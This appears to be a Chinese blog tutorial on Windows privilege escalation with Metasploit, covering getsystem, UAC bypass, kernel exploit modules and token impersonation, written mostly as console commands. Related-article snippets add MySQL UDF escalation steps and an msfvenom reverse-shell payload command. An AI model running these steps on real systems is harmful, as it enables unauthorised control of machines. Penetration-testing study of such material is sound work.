msf windows提权方法总结

最新推荐文章于 2024-05-20 08:33:57 发布
最新推荐文章于 2024-05-20 08:33:57 发布
阅读量2.7k 收藏 20
点赞数 3
分类专栏： 内网
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45951598/article/details/118031781
版权

简介

提权可分为纵向提权与横向提权：纵向提权：低权限角色获得高权限角色的权限；横向提权：获取同级别角色的权限。

Windows常用的提权方法有：系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

1.getsystem

这里使用getsystem命令试一下，运气好的话可能就提到了system
在这里插入图片描述

2.bypassuac

内置多个pypassuac脚本，原理有所不同，使用方法类似，运行后返回一个新的会话，需要再次执行getsystem获取系统权限
首先查找bypassuac模块

search bypassuac

在这里插入图片描述
这里我随便选一个bypassuac做测试
需要设置session还有监听ip和端口
在这里插入图片描述

运行不出意外的话，可以成功(出了意外但我没有说)

3.内核提权

这里先利用enum_patches模块 收集补丁信息，然后查找可用的exploits进行提权

meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei #使用具体的exp,根据列出的具体可用exp而定
msf > set SESSION 2
msf > exploit
在这里插入图片描述

网站：主机补丁信息：

在这里插入图片描述

也可以使用local_exploit_suggester进行查询哪些exp可以用，例如
在这里插入图片描述
在这里插入图片描述

查询到补丁的编报，就可以到这个网站里面对比，然后这里面会给出相对应的exp，多试几个exp就会成功了。找到相对应的电脑型号。

这里我们使用search

search MS16-016

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.令牌操纵

（1)incognito假冒令牌

use incognito      							#help incognito  查看帮助
list_tokens -u   							#查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' 		#假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM		#不加单引号 需使用\\
execute -f cmd.exe -i –t                        # -t 使用假冒的token 执行
                                                #或者直接shell
rev2self   										#返回原始token

在这里插入图片描述
(2)steal_token窃取令牌

steal_token <pid值> #从指定进程中窃取token 先ps列出可用的值
drop_token #删除窃取的token

在这里插入图片描述

multi4
关注
  • 3
    点赞
  • 踩
  • 20
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
msf windows版
09-22
msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版
MSF技术总结
05-07
MSF 技术总结 MSF（Metasploit Framework）是一款功能强大且广泛使用的渗透测试工具，提供了丰富的命令和插件，帮助渗透测试者快速发现和利用系统漏洞。本文将对 MSF 的使用和高级用法进行总结。 一、MSF 架构 ...
Windows提权总结（一）——数据库与系统漏洞.pdf
03-11
Windows提权总结（⼀） 提权总结（⼀）——数据库与系统漏洞 数据库与系统漏洞 Windows提权总结 提权总结(1)——数据库与系统漏洞 数据库与系统漏洞 0x01 内核漏洞提权 内核漏洞提权 Github上windows系统溢出漏洞提权的汇总： 内核漏洞检测⼯具——Windows-Exploit-Suggester 其主要功能是通过⽐对systeminfo⽣成的⽂件，⽐对KB编号，从⽽发现系统是否存在未修复漏洞。 使⽤： 更新数据库 python2 ./windows-exploit-suggester.py --update 安装依赖xlrd python2 -m pip install xlrd --upgrade 这⾥要注意，最近xlrd更新到了2.0.1版本，只⽀持.xls⽂件，与我们⽣成的数据库xlsx⽂件有冲突。 所以安装旧版xlrd： python2 -m pip uninstall xlrd python2 -m pip install xlrd==1.2.0 将利⽤的Windows机的SystemInfo打印到1.txt，执⾏以下命令 python2 ./windows-exploit-suggester.py --database ./2021-12-09-mssb.xls --systeminfo ./1.txt 利⽤给出的链接下载POC并提权 0x02 数据库提权 数据库提权 2.1 MYSQL提权 提权 2.1.1 UDF提权 提权 UDF (user defined function)，即⽤户⾃定义函数。通过添加类似于命令执⾏的新函数，执⾏任意命令 提权条件： 有mysql的root权限以及secure_file_priv的值为空 mysql5.1以上有写lib/plugin⽬录权限 提权原理： 利⽤了root ⾼权限,创建带有调⽤cmd的函数的udf.dll动态链接库 Step1: 查看 secure_file_priv的值 show global variables like 'secure%'; 如果 secure_file_priv的值为NULL，则⽆法导⼊⽂件，也就⽆法提权。 secure_file_priv 的值不能通过set改变，需要在mysql配置⽂件my.ini中添加/修改 secure_file_priv='' 如果 secure_file_priv没有具体的值，则可以写⼊导出⽂件。 导⼊/导出成功 Step2: 查看plugin的值 select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1); 当plugin值为 mysql_native_password 时可通过账户连接提权 Step3: 查看系统架构以及plugin⽬录 show variables like '%compile%'; #查看主机版本及架构 show variables like 'plugin%'; #查看 plugin ⽬录 64位 E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ 看架构的原因是要确定udf⽤64位还是32位的 在MSF中有： cd /usr/share/metasploit-framework/data/exploits/mysql/ 将对应的dll下载 Step4:将dll⽂件写⼊plugin⽬录,并且创建函数（如果没有"./mysql/lib/plugin/"这个⽬录，需要⾃⾏创建） 将整个DLL⽂件以⼗六进制编码后写⼊磁盘。 select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION'; select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';(写⽬录，其实⼤部分时 候是没有写权限的) select hex(load_file('E:\\files\\udf\\udf64.dll')) into dumpfile '.\udf.hex'; select [⼗六进制值] into dumpfile "E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64
使用MSF进行提权（windows提权、linux提权、wesng使用）
热门推荐
Love&Share
11-22 2万+
文章目录MSF Windows提权反弹shell提权END推荐阅读MSF Linux提权反弹shell补充wesng用法 Metasploit 是一个渗透框架，kali 内安装了，安装位置如下 /usr/share/metasploit-framework 选定需要使用的攻击模块之后，你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用，将渗透的过程自动化、简单化 主要作用：漏洞验证、漏洞利用、内网渗透等 MSF Windows提权 靶机： Win server2003 + iis（已.
使用MSF进行提权（windows提权、linux提权、wesng使用
最新发布
dzqxwzoe的博客
05-20 723
​MSF Windows提权​​​反弹shell​​​提权​​​END推荐阅读​​​MSF Linux提权​​​反弹shell​​​补充wesng用法​​Metasploit 是一个渗透框架，kali 内安装了，安装位置如下选定需要使用的攻击模块之后，你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用，将渗透的过程自动化、简单化主要作用：漏洞验证、漏洞利用、内网渗透等。
windows提权--MSF全自动
金灰的博客
04-19 466
免责声明:本文仅做技术交流与学习,请知法守法,不要乱搞破坏等等拿到webshell后,我们通过MSF进行全自动的提权.
【权限提升】windows平台-提权项目&MSF&CS&溢出漏洞
今天是几号的博客
02-04 2330
简介：WES-NG是一个基于Windows系统信息实用程序输出的工具，该实用程序提供了操作系统易受攻击的漏洞列表，包括对这些漏洞的任何利用。powershell运行(上传是为了收集系统打的补丁信息，作用等同于systeminfo，当无法上传文件时，可以用systeminfo中的信息覆盖KB.json文件)简介：这是一款基于主机的漏洞扫描工具，采用多线程确保可以快速的请求数据，采用线程锁可以在向sqlite数据库中写入数据避免。覆盖项目KB.json文件(一定格式的操作系统信息 补丁信息等)
msf内网提权
dreamthe的博客
11-22 2301
目录 1.利用木马文件拿到shell 2.利用ms_2018_8120提权 3.提高程序运行级别。 4.基于ms16_016提权 5.基于ms14_058提权 ​6.基于ms13_053提权 7.uac绕过 8.基于ms16_032提权 1.利用木马文件拿到shell 这里呢我们就不多说了，在上一篇文章里面我进行详细说明和演示。如果有不懂的朋友可以看上一篇的文章，上一篇文章：利用msfvenom生成木马文件反弹shell、meterpreter 简单系统命令_dreamthe的...
利用Metasploit进行Linux提权
01-09
Metasploit 拥有msfpayload 和msfencode 这两个工具，这两个工具不但可以生成exe 型后门，一可以生成网页脚本类型的webshell ，通过生成webshell 然后设置监听器，访问webshell的url... 　msfpayload windows/meterpret
MSFconsole(msf渗透神器)windows平台可以 使用，亲测可用
11-27
MSFconsole(msf渗透神器)window版本，稀缺资源。
supervisor nginx_Supervisor 的使用和进阶 (3)
weixin_39705018的博客
11-25 141
本文主要介绍 supervisor 对 fastcgi 进程的管理在php 中，php-fpm 有主进程来管理和维护子进程的数量。但是并不是所有的服务都有类似的主进程来做子进程的维护。在其他语言中，有很多比较有名的fastcgi 服务，例如py 的flup， c++ 实现的 FastCgi++等，如果这些服务在单机中启动多个进程(极有可能)，那如何管理这些进程是个比较头疼的问题。supe...
【内网安全】——Windows提权姿势
qq_53058639的博客
01-27 840
令牌（Token）：令牌(token)是系统的临时秘钥，相当于账号和密码，用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下，访问网络和系统资源，这些令牌将持续存在于系统中，除非系统重新启动。令牌最大的特点就是随机性，不可预测，黑客或软件无法猜测出令牌。令牌分类访问令牌(Access Token): 表示访问控制操作主体的系统对象会话令牌(Session Token): 交互会话中唯一的身份标识符。
利用MSF溢出漏洞提权windows server2012
qq_53409748的博客
03-29 1107
使用Kali Linux平台的“metasploit framework”工具，针对Windows2012R2操作系统，上传EXP实现系统提权。
Metasploit基础教程和简单使用
qq_41344881的博客
08-07 1037
一、工具概述#二、使用方法#三、常用命令#四、举例使用。
Windows提权方法简单总结_systminfo ,根据系统补丁提权
2401_84296945的博客
04-26 674
写了好多天的windows与linux提权技巧，现在做下简单的总结。提权是后渗透重要的一环节，在权限较低的情况下，我们在进行一些操作如读取/写入敏感文件、权限维持等会受到束缚，所以需要提权。在实际中我们会碰到工作组和域环境，工作组环境我们提权的目的是从普通用户权限到管理员或者system权限。而域环境中我们通常是从域用户到域管理员权限。
墨者靶场 WordPress插件漏洞分析溯源
永远是少年
12-30 1442
今天继续给大家介绍CTF刷题，本文主要内容墨者靶场 WordPress插件漏洞分析溯源。 一、题目简介 二、解题实战
MSF模拟渗透测试攻击linux实例
lza20001103的博客
04-09 9166
MSF模拟渗透测试攻击linux实例
kali下msf提权
失心少年
09-23 4730
生成木马 Msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.132 lport=4444 -f exe -o /root/Desktop/1.exe 配置监听程序 Msfconsole 打开Metaploit msf &gt; use exploit/multi/handler s...
msf linux 提权
09-12
在Linux中，Metasploit Framework（MSF）是一个功能强大的渗透测试工具，但是提权是一个敏感的话题，需要在合法和合规的情况下进行操作。在渗透测试过程中，提权通常是为了获取更高的权限，并进一步探索和利用目标系统的漏洞。 然而，我不能直接告诉你如何在特定的Linux系统中进行提权，因为这可能会被滥用和用于非法目的。提权是一个涉及安全和合法性的行为，需要根据特定的情况和目标系统进行详细分析和评估。 如果你是一名合法的安全专业人员或渗透测试人员，我建议你深入研究和学习关于Linux系统中提权的方法和技术。掌握Linux操作系统的内部工作原理、用户权限管理和漏洞利用技术将对你进行提权操作非常有帮助。 总结来说，我的目的是确保信息安全和合规性，所以我不能在这里提供关于提权的具体指导。如果你有合法的需求，请参考相关的文档、教程和专业训练来学习和掌握提权技术。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值